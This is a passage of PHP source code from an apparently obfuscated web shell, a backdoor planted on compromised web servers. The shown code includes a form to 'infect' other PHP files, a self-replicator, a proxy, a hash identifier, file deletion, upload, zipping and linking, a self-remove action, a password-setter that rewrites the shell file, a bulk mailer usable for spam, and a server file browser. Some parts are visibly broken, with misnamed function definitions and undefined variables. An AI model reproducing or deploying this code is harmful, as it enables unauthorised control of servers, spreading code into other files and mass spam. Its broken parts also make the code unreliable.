			<textarea id="mycode" name="mycode" rows="7" cols="60" style="display:none;" disabled="disabled" value="&lt;?php &amp;&amp; ?&gt; are added automatically"></textarea>
			<br /><br />
			Usage: example.php?<span style="color:red;">c37=&lt;script&gt;alert(\'XSS\');&lt;/script&gt;</span><br />
			If the encoding function or eval() does not exist, the infection encoding will be set to none.<br />
			Only affected extensions: php|phtml|php3|php4|php5|php6|phtm|phps
			<br /><br />
			<input type="submit" value="Infect" name="Opt2" id="Opt2" onclick="javascript:var Ans = confirm(\'Are you sure?\'); if (Ans == 0) { return false; }" />
			</form>';	}	elseif($_GET['action']==='Replicator'){		if(isset($_POST['file'])){			if(is_file($_POST['file'])|| empty($_POST['file'])){echo htmlspecialchars(realpath($_POST['file'])),' already exists or you did not provide a file location.<br /><br />';}			else{				if(copy(__FILE__,$_POST['file'])){echo 'Replicated successfully.';$nDrsyObtJbjy=TRUE;}			}		}		elseif(!isset($nDrsyObtJbjy)){echo '<form method="post" action="">Replicate the shell to: <input type="text" name="file" id="file" value="',htmlspecialchars(__FILE__),'" size="40" /> <input type="submit" value="Replicate" /></form>';}	}	elseif($_GET['action']==='Proxy'){		if(function_exists('curl_init')&& function_exists('curl_exec')&& function_exists('curl_setopt')){			$CDrsyObtJPjy=curl_version();			echo			'
			<form action="?action=cURLframe" method="post" target="_blank">
				Go to: <input type="text" size="56" name="c37url" id="c37url" /> <input type="submit" value="Enter" />
			<br />
			<h3>Options</h3>
				User agent: <input type="text" name="UA" id="UA" size="40" value="Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9" />
			</form>
			<br />
			This script uses cURL ',$CDrsyObtJPjy['version'],			' (',$CDrsyObtJPjy['host'],')',			', ',$CDrsyObtJPjy['ssl_version'],			' & zlib ',$CDrsyObtJPjy['libz_version'],'.<br />',			'Supported protocols: | ';			foreach($CDrsyObtJPjy['protocols'] AS $CDrsyOb3Jbjy){				echo $CDrsyOb3Jbjy,' | ';			}		}		else{echo '<span style="color:red">cURL is not available!</span><br /><br />';}	}	elseif($_GET['action']==='HashAnalyzer'){		echo '<fieldset style="width:500px;"><legend>Hash Analyzer</legend><br /><form method="post" action=""><input type="text" size="45" name="hash" id="hash" size="40" value="'; if (isset($_POST['hash'])) { echo htmlspecialchars($_POST['hash']); } echo '" /> <input type="submit" value="Analyze" /></form>';		if(isset($_POST['hash'])){			function TfRvnFvtvgEJ($CDrsyObtJbjW,$CDzsyObtJbjy){				if(preg_match('/^[0-9a-fA-F]+$/',$CDrsyObtJbjW)){return 1;}				else{return 0;}			}			function TfRvnF1tvgEJ($CDrsyObtJbjW){				if(preg_match('/^[0-9a-zA-Z+\/.]+==$/',$CDrsyObtJbjW)){return 1;}				else{return 0;}					}						echo '<h3>Possible Algorithms:</h3><ol style="text-align:left;width:125px;">';			$vDrsyObtJbjy=strlen($_POST['hash']);						if($vDrsyObtJbjy===32){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>MD5</li><li>MD4</li><li>MD2</li><li>NTLM</li><li>Tiger128</li><li>SNEFRU128</li><li>RipeMD128</li><li>Haval128_3</li><li>Haval128_4</li><li>Haval128_5</li><li>Domain Cached Credentials</li>';}				elseif(preg_match('/^[0-9A-F]+$/',$_POST['hash'])){echo '<li>Windows-LM</li><li>Windows-NTLM</li><li>RC4</li>';}				elseif(preg_match('/^[0-9a-zA-Z+\/.]+$/',$_POST['hash'])){echo '<li>Haval192 (Base64)</li><li>Tiger-192 (Base64)</li>';}			}			elseif($vDrsyObtJbjy===40){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>SHA-0</li><li>SHA-1</li><li>Tiger160</li><li>RipeMD160</li><li>MySQL v5.x</li><li>Haval160</li><li>Haval160_3</li><li>Haval160_4</li><li>Haval160_5</li>';}			}			elseif($vDrsyObtJbjy===8){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>ADLER32</li><li>CRC-32</li><li>CRC-32B</li><li>GHash-32-3</li><li>GHash-32-3</li>';}			}			elseif($vDrsyObtJbjy===13){				if(preg_match('/^[0-9a-zA-Z\/.]$/',$_POST['hash'])){echo '<li>DES (Unix)</li>';}			}			elseif($vDrsyObtJbjy===16){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>MySQL</li>';}			}			elseif($vDrsyObtJbjy===4){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>CRC-16</li><li>CRC-16-CCITT</li><li>FCS-16</li>';}			}			elseif($vDrsyObtJbjy===34){				if(preg_match('/^\$1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/',$_POST['hash'])){echo '<li>MD5 (Unix)</li>';}				elseif(preg_match('/^\$P\$B[0-9a-zA-Z\/.]$/',$_POST['hash'])){echo '<li>MD5(WordPress)</li>';}				elseif(preg_match('/^\$H\$9[0-9a-zA-Z\/.]$/',$_POST['hash'])){echo '<li>MD5(PhpBB3)</li>';}			}			elseif($vDrsyObtJbjy===128){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>SHA-512</li><li>WHIRLPOOL</li><li>SALSA20</li>';}			}			elseif($vDrsyObtJbjy===96){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>SHA-384</li>';}			}			elseif($vDrsyObtJbjy===48){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>Haval192</li><li>Haval192_4</li><li>Haval192_5</li><li>Tiger192</li><li>Tiger2</li><li>SALSA10</li>';}			}			elseif($vDrsyObtJbjy===56){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>Haval224</li><li>Haval244_3</li><li>Haval244_4</li><li>SHA224</li>';}				if(TfRvnF1tvgEJ($_POST['hash'])){echo '<li>RipeMD320 (Base64)</li>';}			}			elseif($vDrsyObtJbjy===64){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>SNEFRU256</li><li>SHA-256</li><li>RipeMD256</li><li>Panama</li><li>Haval256</li><li>Haval256_3</li><li>Haval256_4</li><li>Haval256_5</li>';}				elseif(preg_match('/^[0-9a-zA-Z+\/.]+$/',$_POST['hash'])){echo '<li>SHA384 (Base64)</li>';}			}			elseif($vDrsyObtJbjy===37){				if(preg_match('/^\$apr1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/',$_POST['hash'])){echo '<li>MD5 (APR)</li>';}			}			elseif($vDrsyObtJbjy===80){				if(TfRvnFvtvgEJ($_POST['hash'])){echo '<li>RipeMD320</li>';}			}			elseif($vDrsyObtJbjy===24){				if(TfRvnF1tvgEJ($_POST['hash'])){echo '<li>Haval128 (Base64)</li><li>MD2 (Base64)</li><li>MD4 (Base64)</li><li>MD5 (Base64)</li><li>RipeMD128 (Base64)</li><li>SNEFRU128 (Base64)</li><li>Tiger128 (Base64)</li>';}			}			elseif($vDrsyObtJbjy===28){				if(preg_match('/^[0-9a-zA-Z+\/.]+=$/',$CDrsyObtJbjW)){echo '<li>SHA-1 (Base64)</li><li>Haval160 (Base64)</li><li>RipeMD160 (Base64)</li><li>Tiger160 (Base64)</li>';}			}			elseif($vDrsyObtJbjy===44){				if(preg_match('/^[0-9a-zA-Z+\/.]+=$/',$CDrsyObtJbjW)){echo '<li>Haval256 (Base64)</li><li>RipeMD256 (Base64)</li><li>SHA256 (Base64)</li><li>SNEFRU256 (Base64)</li>';}			}			elseif($vDrsyObtJbjy===88){				if(TfRvnF1tvgEJ($_POST['hash'])){echo '<li>SHA512 (Base64)</li><li>WHIRLPOOL (Base64)</li>';}			}			elseif($vDrsyObtJbjy===9){				if(is_numeric($_POST['hash'])){echo '<li>Elf-32</li>';}			}						echo '</ol>';		}		echo '</fieldset>';	}	elseif($_GET['action']==='X'){		if(isset($_POST['F'])){			switch($_REQUEST['val']){				case 1:{					if(is_array($_REQUEST['F'])){						echo '<h3>Delete Files</h3><table border="1" cellspacing="1" cellpadding="5">';						foreach($_REQUEST['F'] AS $CDrsyObtJbjg){							echo '<tr><td>',$CDrsyObtJbjg,'</td><td><font color="'; if (unlink($File)) { echo 'green">[+';}else{echo 'red">[-'; } echo ']</font></tr>';
						}
						echo '</table>';
					}
					else {
						if (unlink($_REQUEST['F'])) { echo 'File was successfully Deleted.'; } else { echo 'Error while deleting file.<br />';GetLastError(); }
					}
				} break;
				case 3: {
					if (class_exists('ZipArchive')) {
						$Zip = new ZipArchive;
						for (;;) {
							$Archive = 'ZippedFiles' . md5(microtime()) . '.zip';
							if (!file_exists($Archive)) { break; }
						}
						if ($Zip->open($Archive,ZIPARCHIVE::CREATE) === TRUE) {
							foreach ($_POST['F'] AS $File) { $Zip->addFile($File); }
							$Zip->close();
							echo 'Zip Archive was successfully created. (<a href="?dir=',$CDrsyObtJUjy,'&amp;action=download&amp;file=',$CDrsyOwtJWjy,'">',$Archive,'</a>)<br />)';
						}
						else { echo 'Could not create a ZIP Archive'; }
					}
					else { echo 'The ZipArchive Class does not exist'; }
				} break;
				default: { echo 'Invalid Operation'; }
			}
		}
		else { echo 'Choose files to delete.'; }
	}
	elseif ($_GET['action'] === 'selfremove') {
		if (unlink(__FILE__)) { echo 'Shell was removed successfully.'; }
		else { echo 'Error while removing shell, Could not delete the file.';GetLastError(); }
	}
	elseif ($_GET['action'] === 'mailer') {
		$Func1 = function_exists('mail'); $Func2 = function_exists('imap_mail');
		if ($Func1||$Func2) {
			if (isset($_POST['To'])) {
				$Suc = TRUE;
				$HowMany = (int)$_POST['HowMany'] - 1;
				if ($Func1) {
					if (mail($_REQUEST['To'],$_REQUEST['Sub'],$_REQUEST['Message'],$_REQUEST['Heads'])) { echo 'E-Mail was sent successfully!'; }
					else { echo 'Error While Sending Mail.';GetLastError(); echo '<br />'; $Suc = FALSE; }
					if ($Suc = TRUE && $HowMany > 1) {
						for ($i = 0; $i <= $HowMany; $i++) { mail($_POST['To'],$_POST['Sub'],$_POST['Message'],$_POST['Heads']); }
					}
				}
				else {
					if (imap_mail($_REQUEST['To'],$_REQUEST['Sub'],$_REQUEST['Message'],$_REQUEST['Heads'])) { echo 'E-Mail was sent successfully!'; }
					else { echo 'Error While Sending Mail.';GetLastError(); echo '<br />'; $Suc = FALSE; }
					if ($Suc = TRUE && $HowMany > 1) {
						for ($i = 0; $i <= $HowMany; $i++) { imap_mail($_POST['To'],$_POST['Sub'],$_POST['Message'],$_POST['Heads']); }
					}
				}
			}
			echo '<form action="" method="post"><fieldset style="width:590px;"><legend>Send E-Mail</legend>
			<table><tr><td>Sender E-Mail:</td><td><input type="text" name="From" id="From" size="40" /></td></tr><tr><td>
			Recipient\'s E-Mail:</td><td><input type="text" name="To" id="To" size="40" value="[Separated by \',\']" /></td></tr><tr><td>
			Subject:</td><td><input type="text" name="Sub" id="Sub" size="40" /></td></tr></table><br />
			Message:<br /><textarea rows="7" cols="70" id="Message" name="Message"></textarea><br /><br />
			Additional Headers:<br /><textarea rows="7" cols="50" id="Heads" name="Heads" spellcheck="false">[Separated by Enter]'."
".'Example:',"
",'X-Mailer: PHP/4.3',"
",'Reply-To: [email protected]</textarea><br />
			<br />How many Times: <input type="text" size="1" id="HowMany" name="HowMany" /><br />
			<br /><input type="reset" value="Reset" /> <input type="submit" value="Send!" />
			</fieldset></form>';
		}
		else { echo 'Can\'t Send E-Mail From this Server.'; }
	}
	elseif ($_GET['action'] === 'passset') {
		if ($Auth === FALSE) {
			if (!empty($_POST['password'])) {
				if (!function_exists('file_get_contents') && (function_exists('fopen') && (function_exists('fread') || function_exists('fgets') || function_exists('fgetc')))) {
					if (function_exists('fread')) {
						function file_get_contents($File) {
							$handle = fopen($File, 'rb');
							$contents = fread($handle,sprintf('%u',filesize($File)));
							fclose($handle);
							return $contents;
						}
					}
					elseif (function_exists('fgets')) {
						function file_get_contents($File) {
							$handle = fopen($File, 'rb');
							$contents = ''; $Line = '';
							do {
								$Line = fgets($handle,sprintf('%u',filesize($File)));
								$contents .= $Line;
							} while ($Line !== FALSE);
							fclose($handle);
							return $contents;
						}
					}
					else {
						function file_get_contents($File) {
							$handle = fopen($File, 'rb');
							$contents = ''; $Character = '';
							do {
								$Character = fgetc($handle,sprintf('%u',filesize($File)));
								$contents .= $Character;
							} while ($Character !== FALSE);
							fclose($handle);
							return $contents;
						}
					}
				}
				elseif (!function_exists('file_get_contents')) {
					echo 'Could not set password (no available functions).'; $BAD = TRUE;
				}
				if (!function_exists('file_put_contents') && (function_exists('fopen') && (function_exists('fputs') || function_exists('fwrite') || function_exists('fputcsv')))) {
					if (function_exists('fwrite')) {
						function file_get_contents($File,$StringT) {
							$handle = fopen($File, 'wb');
							$ret = fwrite($handle,$StringT);
							fclose($handle);
							return $ret;
						}
					}
					elseif (function_exists('fputs')) {
						function file_get_contents($File,$StringT) {
							$handle = fopen($File, 'wb');
							$ret = fputs($handle,$StringT);
							fclose($handle);
							return $ret;
						}
					}
					else {
						function file_get_contents($File,$StringT) {
							$handle = fopen($File, 'wb');
							$ret = fputcsv($handle,array($StringT));
							fclose($handle);
							return $ret;
						}
					}
				}
				elseif (!function_exists('file_put_contents')) {
					echo 'Could not set password (no available functions).'; $BAD = TRUE;
				}
				if (!isset($BAD)) {
					$ShellContents = file_get_contents(__FILE__);
					if (file_put_contents(__FILE__,substr_replace($ShellContents,'$Auth = TRUE; $Password = \''.sha1(md5($_POST['password'])).'\';',strpos($ShellContents,'$Auth = FALSE;'),14)) != 0) { echo 'Password set.'; }
					else { echo 'An error occured, the password was not set.'; GetLastError(); }
				}
			}
			else {
				echo
				'<form action="" method="post">
					Set shell password: <input type="text" id="password" name="password" /> <input type="submit" value="Enter" /><br /><br />Your password will be MD5 hashed & SHA1 hashed before it will be written to the shell file.
				</form>';
			}
		}
		else {
			if (!empty($_POST['removep'])) {
				if (!function_exists('file_get_contents') && (function_exists('fopen') && (function_exists('fread') || function_exists('fgets') || function_exists('fgetc')))) {
					if (function_exists('fread')) {
						function file_get_contents($File) {
							$handle = fopen($File, 'rb');
							$contents = fread($handle,sprintf('%u',filesize($File)));
							fclose($handle);
							return $contents;
						}
					}
					elseif (function_exists('fgets')) {
						function file_get_contents($File) {
							$handle = fopen($File, 'rb');
							$contents = ''; $Line = '';
							do {
								$Line = fgets($handle,sprintf('%u',filesize($File)));
								$contents .= $Line;
							} while ($Line !== FALSE);
							fclose($handle);
							return $contents;
						}
					}
					else {
						function file_get_contents($File) {
							$handle = fopen($File, 'rb');
							$contents = ''; $Character = '';
							do {
								$Character = fgetc($handle,sprintf('%u',filesize($File)));
								$contents .= $Character;
							} while ($Character !== FALSE);
							fclose($handle);
							return $contents;
						}
					}
				}
				elseif (!function_exists('file_get_contents')) {
					echo 'Could not remove password (no available functions).'; $BAD = TRUE;
				}
				if (!function_exists('file_put_contents') && (function_exists('fopen') && (function_exists('fputs') || function_exists('fwrite') || function_exists('fputcsv')))) {
					if (function_exists('fwrite')) {
						function file_get_contents($File,$StringT) {
							$handle = fopen($File, 'wb');
							$ret = fwrite($handle,$StringT);
							fclose($handle);
							return $ret;
						}
					}
					elseif (function_exists('fputs')) {
						function file_get_contents($File,$StringT) {
							$handle = fopen($File, 'wb');
							$ret = fputs($handle,$StringT);
							fclose($handle);
							return $ret;
						}
					}
					else {
						function file_get_contents($File,$StringT) {
							$handle = fopen($File, 'wb');
							$ret = fputcsv($handle,array($StringT));
							fclose($handle);
							return $ret;
						}
					}
				}
				elseif (!function_exists('file_put_contents')) {
					echo 'Could not remove password (no available functions).'; $BAD = TRUE;
				}
				if (!isset($BAD)) {
					$ShellContents = file_get_contents(__FILE__);
					if (file_put_contents(__FILE__,substr_replace($ShellContents,'$Auth = FALSE;',strpos($ShellContents,'$Auth = TRUE; $Password = \''.$Password.'\';'),70)) != 0) { echo 'Password removed.'; $_SESSION['SLOGIN'] = NULL; }
					else { echo 'An error occured, the password was not removed.'; GetLastError(); }
				}
			}
			else {
				echo
				'<form action="" method="post">
					Remove the shell password? <input type="submit" id="removep" name="removep" value="Remove" />
				</form>';
			}
		}
	}
}
else {
	if ($ShowFiles) {
		if (isset($_GET['act'])) {
			if ($_GET['act'] === 'Upload') {
				if (!isset($_FILES)) { $_FILES = $HTTP_POST_FILES; }
				if (move_uploaded_file($_FILES['File']['tmp_name'],$_FILES['File']['name'])) { echo '\'',htmlspecialchars($_FILES['File']['name']),'\' Was uploaded successfully.'; }
				else {
					echo 'Could not transfer the uploaded file from \'',htmlspecialchars($_FILES['File']['tmp_name']),'\' to \'',htmlspecialchars($CDIR.$_FILES['File']['name']),'\'.<br /><br />';
					if (isset($_FILES['File']['error'])) {
						if ($_FILES['File']['error'] === 1) { echo 'The uploaded file exceeds the upload_max_filesize directive in php.ini.'; }
						elseif ($_FILES['File']['error'] === 2) { echo 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.'; }
						elseif ($_FILES['File']['error'] === 3) { echo 'The uploaded file was only partially uploaded.'; }
						elseif ($_FILES['File']['error'] === 4) { echo 'No file was uploaded.'; }
						elseif ($_FILES['File']['error'] === 6) { echo 'Missing a temporary folder.'; }
						elseif ($_FILES['File']['error'] === 7) { echo 'Failed to write file to disk.'; }
						elseif ($_FILES['File']['error'] === 8) { echo 'A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop;'; }
						echo '<br /><br />';
					}
					echo '<b>[php.ini]</b><br />file_uploads: ',ini_get('file_uploads'),' | upload_max_filesize: ',ini_get('upload_max_filesize'),' | max_file_uploads: ',ini_get('max_file_uploads'),'<br />';
					GetLastError();
				}
				if (isset($_FILES['File2'])) {
					echo '<br />';
					$i = 2; $File = '';
					while (isset($_FILES['File'.$i])) {
						$File = $_FILES['File'.$i];
						if (move_uploaded_file($File['tmp_name'],$File['name'])) { echo '\'',htmlspecialchars($File['name']),'\' Was uploaded successfully.<br />'; }
						else {
							if (!isset($ErrorOccured)) { $ErrorOccured = TRUE; }
							echo 'Could not transfer the uploaded file from \'',htmlspecialchars($File['tmp_name']),'\' to \'',htmlspecialchars($CDIR.$File['name']),'\'.<br />';
							if (isset($File['error'])) {
								if ($File['error'] === 1) { echo 'The uploaded file exceeds the upload_max_filesize directive in php.ini.'; }
								elseif ($File['error'] === 2) { echo 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.'; }
								elseif ($File['error'] === 3) { echo 'The uploaded file was only partially uploaded.'; }
								elseif ($File['error'] === 4) { echo 'No file was uploaded.'; }
								elseif ($File['error'] === 6) { echo 'Missing a temporary folder.'; }
								elseif ($File['error'] === 7) { echo 'Failed to write file to disk.'; }
								elseif ($File['error'] === 8) { echo 'A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop;'; }
								echo '<br /><br />';
							}
							if (isset($ErrorOccured)) { echo '<br /><b>[php.ini]</b><br />file_uploads: ',ini_get('file_uploads'),' | upload_max_filesize: ',ini_get('upload_max_filesize'),' | max_file_uploads: ',ini_get('max_file_uploads'),'<br />'; }
							GetLastError();
						}
						++$i;
					}
				}
			}
			elseif ($_GET['act'] === 'FileMake') {
				if (!empty($_POST['fm'])) {
					echo '<b>File Making:</b><br />';
					$CanMake = TRUE; $Name = $_POST['fm']; if (strpos($_POST['fm'], '.') !== FALSE) { $Name = substr($_POST['fm'],0,strlen($_POST['fm'])-strlen(strrchr($_POST['fm'],'.'))-1); }
					$WinReservedChars = array('<','>',':','"','/','\','|','?','*');					if($CDrSyObtJbjy){						foreach($GDrsyObtJbjy AS $CDrsyObiJbjy){							if(strpos($_POST['fm'],$CDrsyObiJbjy)!==FALSE){echo '<span style="color:red;">Reserved Windows filename character: \'',$ResC,'\'</span><br />';$CDrsyObtJljy=FALSE;}						}						foreach(range(0x00,0x1F)AS $CDrsyObiJbjy){							if(strpos($_POST['fm'],$CDrsyObiJbjy)!==FALSE){echo '<span style="color:red;">Reserved Windows filename character: 0x',dechex($CDrsyObiJbjy),'</span><br />';$CDrsyObtJljy=FALSE;}						}						if($CDrsyObtJljy && in_array($CDrsyObRJbjy,array('CON','PRN','AUX','NUL','COM1','COM2','COM3','COM4','COM5','COM6','COM7','COM8','COM9','LPT1','LPT2','LPT3','LPT4','LPT5','LPT6','LPT7','LPT8','LPT9'))){							echo '<span style="color:red;">Do not use the following reserved device names for the name of a file:</span><br />CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. Also avoid these names followed immediately by an extension; for example, NUL.txt is not recommended.';$CDrsyObtJljy=FALSE;						}						else{							if($_POST['fm'][strlen($_POST['fm'])-1]===' ' || $_POST['fm'][strlen($_POST['fm'])-1]==='.'){								echo 'Do not end a file or directory name with a space or a period. Although the underlying file system may support such names, the Windows shell and user interface does not. However, it is acceptable to specify a period as the first character of a name. For example, ".temp".<br /><span style="color:orange;">The file will be created with the name \'',substr($_POST['fm'],0,strlen($_POST['fm'])-1),'\'</span>.<br />';$CDrsyFbtJbjy=TRUE;							}						}					}					else{						if(strpos($_POST['fm'],0x00)!==FALSE || strpos($_POST['fm'],'/')!==FALSE){echo '<span style="color:red;">The filename you entered contains a reserved UNIX filename character (\'/\',0x00 [NUL]).</span><br />';$CDrsyObtJljy=FALSE;}					}					if($CDrsyObtJljy && is_file($_POST['fm'])){echo '\'',htmlspecialchars($_POST['fm']),'\' - File Already exists.';}										elseif($CDrsyObtJljy){						if(isset($CDrsyFbtJbjy)){$_POST['fm']=substr($_POST['fm'],0,strlen($_POST['fm'])-1);}						$CDrsyObtJ1jy=fopen($_POST['fm'],'x');						echo '\'',htmlspecialchars($_POST['fm']),'\' - <font ';						if($CDrsyObtJ1jy){echo 'color="green">File was created.</font>';}						else{							echo 'color="red">[File ',realpath($CDrsyObtJbXy.$_POST['fm']),' could not be created]</font>';							GetLastError();						}						fclose($CDrsyObtJ1jy);					}				}				else{echo 'Please enter a File Name.';}			}			elseif($_GET['act']==='DirMake'){				if(is_dir($_POST['dm'])){echo '\'',htmlspecialchars($_POST['dm']),'\' - Directory Already exists.';}				else{					echo '\'',htmlspecialchars($_POST['dm']),'\' - <font ';					if(mkdir($_POST['dm'])){echo 'color="green">Directory was created.</font>';}					else{						echo 'color="red">[Directory ',realpath($CDrsyObtJbXy.$_POST['dm']),' could not be created]</font>';						GetLastError();					}				}			}			elseif($_GET['act']==='Link'){				if($_POST['type']==='s'){					if(function_exists('symlink')&& symlink($_POST['To'],$_POST['Name'])){						echo 'Symbolic Link \'',$_POST['Name'],'\' to \'',$_POST['To'],'\' was successfully created.';					}					else{echo 'Could not create Symbolic Link. (symlink() does not exist or did not succeed)';}				}				else{					if(function_exists('link')&& link($_POST['To'],$_POST['Name'])){						echo 'Hard Link \'',$_POST['Name'],'\' to \'',$_POST['To'],'\' was successfully created.';					}					else{echo 'Could not create Hard Link. (link() does not exist or did not succeed)';}				}			}			echo '<br /><br />';		}		$CDrsyObt0bjy=array();$CDrsyObtJKjy=0;					if(function_exists('glob')){$CDrsyObt0bjy=glob('*',GLOB_NOSORT);$CDtsyObtJbjy=TRUE;}		if(isset($_GET['sort'])){			if($_GET['sort']==='date'){				array_multisort(array_map('filemtime',$CDrsyObt0bjy),SORT_DESC,$CDrsyObt0bjy);			}		}		$CDrsyObtJVjy=count($CDrsyObt0bjy);$CDrsyObtJKjy=0;		if(($CDrsyObt0bjy===FALSE)||(isset($CDtsyObtJbjy)&&!realpath('..'))){echo '<div style="border-style:solid;border-width:2px;border-color:#7D7D7D;padding:10px;background-color:#282828;"><font color="red">:: Error while Loading Files - Invalid location\Function failure ::</font><br /><br />';GetLastError();echo '</div><br /><br /><button title="Go Back in history (using JavaScript)" onclick="window.history.go(-1)">Go Back?</button>';}		else{					$ZDrsyObtJbjy=0;$CDrsyLbtJbjy=0;$CDrsyObtJbjL=0;$CDr6yObtJbjy=0;$CDrsyObpJbjy=array();$CDrdyObtJbjyDrsyObtJbjy=array();			if(strpos($_SERVER['HTTP_USER_AGENT'],'Firefox')!==FALSE && strpos($_SERVER['HTTP_USER_AGENT'],'Windows')!==FALSE){$CkrsyObtJbjy='moz-icon://';}			else{$CkrsyObtJbjy='?action=img&amp;ext=';}						if(isset($_GET['search'])){echo '<h2>Search results:</h2>';}						echo '<form action="?dir=',$SCDIR,'&amp;action=X" method="post" id="Form"><div style="white-space:pre;border-style:solid;border-width:2px;border-color:#7D7D7D;overflow:auto;text-align:left;max-height:700px;width:95%;font-family:Verdana,Tahoma,Arial,Helvetica;background-color:#282828;" title="Server Files"><table class="RightPad" style="border-spacing:0px;"><tr style="color:red;"><th style="text-align:left;">Name</th><th style="text-align:left;">Size</th><th style="text-align:left;">Last Modified</th><th style="padding-right:30px;text-align:left;">UID/GID</th><th style="text-align:left;">Perms</th><th style="text-align:left;">Actions</th></tr>',"
";			if(isset($CDtsyObtJbjy)&&!isset($_GET['search'])){				$CDrstObtJbjy='.';$CDrcyObtJbjy='..';				echo '<tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="?action=img&amp;image=dir" width="17" height="14" alt="[DIR]" /></td><td><a href="?dir=',$SCDIR,'.">.</a></td></tr></table></td><td>DIR</td><td>',date('F d Y H:i:s.',filemtime($CDrstObtJbjy)),'</td><td>';$CDrdyObtJbjy=filegroup($CDrstObtJbjy);$CDrsyObtJb2y=fileowner($CDrstObtJbjy);echo $CDrsyObtJb2y;if(function_exists('posix_getpwuid')){$XDrsyObtJbjy=posix_getpwuid($CDrsyObtJb2y);echo ' (',$XDrsyObtJbjy['name'],')';}echo '/',$CDrdyObtJbjy;if(function_exists('posix_getgrgid')){$CDFsyObtJbjy=posix_getgrgid($CDrdyObtJbjy);if(is_array($CDFsyObtJbjy)){echo ' (',$CDFsyObtJbjy['name'],')';}}echo '</td><td><font';$CDrdyObtJbjy=GetPerms($CDrstObtJbjy);$CDrsyObtJb2y=substr($CDrdyObtJbjy,7);if($CDrsyObtJb2y==='--x'||$CDrsyObtJb2y==='---'){echo ' color="red">';}elseif($CDrsyObtJb2y==='rwx'||$CDrsyObtJb2y==='rw-'){echo ' color="green">';}else{echo '>';}echo $CDrdyObtJbjy.'</font></a></td><td><a href="?action=dir&amp;dir=',$SCDIR,'&amp;dirname=.">INFO</a></td></tr>
				<tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="?action=img&amp;image=dir" width="17" height="14" alt="[DIR]" /></td><td><a href="?dir=',$SCDIR,'..">..</a></td></tr></table></td><td>DIR</td><td>',date('F d Y H:i:s.',filemtime($CDrcyObtJbjy)),'</td><td>';$CDrdyObtJbjy=filegroup($CDrcyObtJbjy);$CDrsyObtJb2y=fileowner($CDrcyObtJbjy);echo $CDrsyObtJb2y;if(function_exists('posix_getpwuid')){$XDrsyObtJbjy=posix_getpwuid($CDrsyObtJb2y);echo ' (',$XDrsyObtJbjy['name'],')';}echo '/',$CDrdyObtJbjy;if(function_exists('posix_getgrgid')){$CDFsyObtJbjy=posix_getgrgid($CDrdyObtJbjy);if(is_array($CDFsyObtJbjy)){echo ' (',$CDFsyObtJbjy['name'],')';}}echo '</td><td><font';$CDrdyObtJbjy=GetPerms($CDrcyObtJbjy);$CDrsyObtJb2y=substr($CDrdyObtJbjy,7);if($CDrsyObtJb2y==='--x'||$CDrsyObtJb2y==='---'){echo ' color="red">';}elseif($CDrsyObtJb2y==='rwx'||$CDrsyObtJb2y==='rw-'){echo ' color="green">';}else{echo '>';}echo $CDrdyObtJbjy.'</font></a></td><td><a href="?action=dir&amp;dir=',$SCDIR,'&amp;dirname=..">INFO</a></td></tr>';			}						if(isset($_GET['search'])){				if(!isset($CDtsyObtJbjy)&& function_exists('array_search')){					$CPosyObtJbjy=array_search('.',$CDrsyObt0bjy);if($CPosyObtJbjy!==FALSE){unset($CDrsyObt0bjy[$CPosyObtJbjy]);++$CDrsyObtJKjy;}					$CPosyObtJbjy=array_search('..',$CDrsyObt0bjy);if($CPosyObtJbjy!==FALSE){unset($CDrsyObt0bjy[$CPosyObtJbjy]);++$CDrsyObtJKjy;}				}				$CDrsCObtJbjy=array();$CDrsyObtJVjy=count($CDrsyObt0bjy);$CDrsyObtJFjy=0;				if(isset($_GET['casein'])){$_GET['search']=strtolower($_GET['search']);}									if($_GET['type']==='regexp'){					for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){						if(preg_match($_GET['search'],$CDrsyObt0bjy[$CDrsyObtJKjy])){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}					}				}				elseif($_GET['type']==='lengthless'){					for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){						if(strlen($CDrsyObt0bjy[$CDrsyObtJKjy])<$_GET['search']){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}					}				}				elseif($_GET['type']==='lengthabove'){					for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){						if(strlen($CDrsyObt0bjy[$CDrsyObtJKjy])>$_GET['search']){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}					}				}				elseif(isset($_GET['casein'])){					if($_GET['type']==='exact'){						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if($_GET['search']===strtolower($CDrsyObt0bjy[$CDrsyObtJKjy])){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					